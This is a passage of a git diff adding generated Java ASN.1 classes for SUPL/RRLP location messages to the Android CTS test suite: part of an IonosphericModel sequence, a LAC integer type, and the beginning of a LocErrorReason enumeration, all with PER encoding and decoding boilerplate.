+ this.beta2_ = (IonosphericModel.beta2Type) value;
+ }
+ public IonosphericModel.beta2Type setBeta2ToNewInstance() {
+ beta2_ = new IonosphericModel.beta2Type();
+ return beta2_;
+ }
+
+ private IonosphericModel.beta3Type beta3_;
+ public IonosphericModel.beta3Type getBeta3() {
+ return beta3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.beta3Type
+ */
+ public void setBeta3(Asn1Object value) {
+ this.beta3_ = (IonosphericModel.beta3Type) value;
+ }
+ public IonosphericModel.beta3Type setBeta3ToNewInstance() {
+ beta3_ = new IonosphericModel.beta3Type();
+ return beta3_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlfa0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlfa0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlfa0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.alfa0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alfa0 : "
+ + getAlfa0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlfa1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlfa1();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlfa1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.alfa1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alfa1 : "
+ + getAlfa1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlfa2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlfa2();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlfa2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.alfa2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alfa2 : "
+ + getAlfa2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlfa3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlfa3();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlfa3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.alfa3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alfa3 : "
+ + getAlfa3().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeta0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeta0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeta0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.beta0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beta0 : "
+ + getBeta0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeta1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeta1();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeta1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.beta1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beta1 : "
+ + getBeta1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeta2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeta2();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeta2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.beta2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beta2 : "
+ + getBeta2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeta3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeta3();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeta3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.beta3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beta3 : "
+ + getBeta3().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alfa0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alfa0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alfa0Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alfa0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alfa0Type != null) {
+ return ImmutableList.of(TAG_alfa0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alfa0Type from encoded stream.
+ */
+ public static alfa0Type fromPerUnaligned(byte[] encodedBytes) {
+ alfa0Type result = new alfa0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alfa0Type from encoded stream.
+ */
+ public static alfa0Type fromPerAligned(byte[] encodedBytes) {
+ alfa0Type result = new alfa0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alfa0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alfa1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alfa1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alfa1Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alfa1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alfa1Type != null) {
+ return ImmutableList.of(TAG_alfa1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alfa1Type from encoded stream.
+ */
+ public static alfa1Type fromPerUnaligned(byte[] encodedBytes) {
+ alfa1Type result = new alfa1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alfa1Type from encoded stream.
+ */
+ public static alfa1Type fromPerAligned(byte[] encodedBytes) {
+ alfa1Type result = new alfa1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alfa1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alfa2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alfa2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alfa2Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alfa2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alfa2Type != null) {
+ return ImmutableList.of(TAG_alfa2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alfa2Type from encoded stream.
+ */
+ public static alfa2Type fromPerUnaligned(byte[] encodedBytes) {
+ alfa2Type result = new alfa2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alfa2Type from encoded stream.
+ */
+ public static alfa2Type fromPerAligned(byte[] encodedBytes) {
+ alfa2Type result = new alfa2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alfa2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alfa3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alfa3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alfa3Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alfa3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alfa3Type != null) {
+ return ImmutableList.of(TAG_alfa3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alfa3Type from encoded stream.
+ */
+ public static alfa3Type fromPerUnaligned(byte[] encodedBytes) {
+ alfa3Type result = new alfa3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alfa3Type from encoded stream.
+ */
+ public static alfa3Type fromPerAligned(byte[] encodedBytes) {
+ alfa3Type result = new alfa3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alfa3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class beta0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_beta0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public beta0Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_beta0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_beta0Type != null) {
+ return ImmutableList.of(TAG_beta0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new beta0Type from encoded stream.
+ */
+ public static beta0Type fromPerUnaligned(byte[] encodedBytes) {
+ beta0Type result = new beta0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new beta0Type from encoded stream.
+ */
+ public static beta0Type fromPerAligned(byte[] encodedBytes) {
+ beta0Type result = new beta0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "beta0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class beta1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_beta1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public beta1Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_beta1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_beta1Type != null) {
+ return ImmutableList.of(TAG_beta1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new beta1Type from encoded stream.
+ */
+ public static beta1Type fromPerUnaligned(byte[] encodedBytes) {
+ beta1Type result = new beta1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new beta1Type from encoded stream.
+ */
+ public static beta1Type fromPerAligned(byte[] encodedBytes) {
+ beta1Type result = new beta1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "beta1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class beta2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_beta2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public beta2Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_beta2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_beta2Type != null) {
+ return ImmutableList.of(TAG_beta2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new beta2Type from encoded stream.
+ */
+ public static beta2Type fromPerUnaligned(byte[] encodedBytes) {
+ beta2Type result = new beta2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new beta2Type from encoded stream.
+ */
+ public static beta2Type fromPerAligned(byte[] encodedBytes) {
+ beta2Type result = new beta2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "beta2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class beta3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_beta3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public beta3Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_beta3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_beta3Type != null) {
+ return ImmutableList.of(TAG_beta3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new beta3Type from encoded stream.
+ */
+ public static beta3Type fromPerUnaligned(byte[] encodedBytes) {
+ beta3Type result = new beta3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new beta3Type from encoded stream.
+ */
+ public static beta3Type fromPerAligned(byte[] encodedBytes) {
+ beta3Type result = new beta3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "beta3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("IonosphericModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java
new file mode 100755
index 0000000..4bcc854
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class LAC extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_LAC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LAC() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LAC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LAC != null) {
+ return ImmutableList.of(TAG_LAC);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LAC from encoded stream.
+ */
+ public static LAC fromPerUnaligned(byte[] encodedBytes) {
+ LAC result = new LAC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LAC from encoded stream.
+ */
+ public static LAC fromPerAligned(byte[] encodedBytes) {
+ LAC result = new LAC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "LAC = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java
new file mode 100755
index 0000000..738501d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class LocErrorReason extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ unDefined(0),
+ notEnoughBTSs(1),
+ notEnoughSats(2),
+ eotdLocCalAssDataMissing(3),
+ eotdAssDataMissing(4),
+ gpsLocCalAssDataMissing(5),
+ gpsAssDataMissing(6),
+ methodNotSupported(7),
+ notProcessed(8),
+ refBTSForGPSNotServingBTS(9),
+ refBTSForEOTDNotServingBTS(10),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ notEnoughGANSSSats(11),
+ ganssAssDataMissing(12),
+ refBTSForGANSSNotServingBTS(13),
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_LocErrorReason
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LocErrorReason() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LocErrorReason;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LocErrorReason != null) {
+ return ImmutableList.of(TAG_LocErrorReason);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new LocErrorReason from encoded stream.
+ */
+ public static LocErrorReason fromPerUnaligned(byte[] encodedBytes) {
+ LocErrorReason result = new LocErrorReason();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LocErrorReason from encoded stream.
+ */
+ public static LocErrorReason fromPerAligned(byte[] encodedBytes) {
+ LocErrorReason result = new LocErrorReason();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
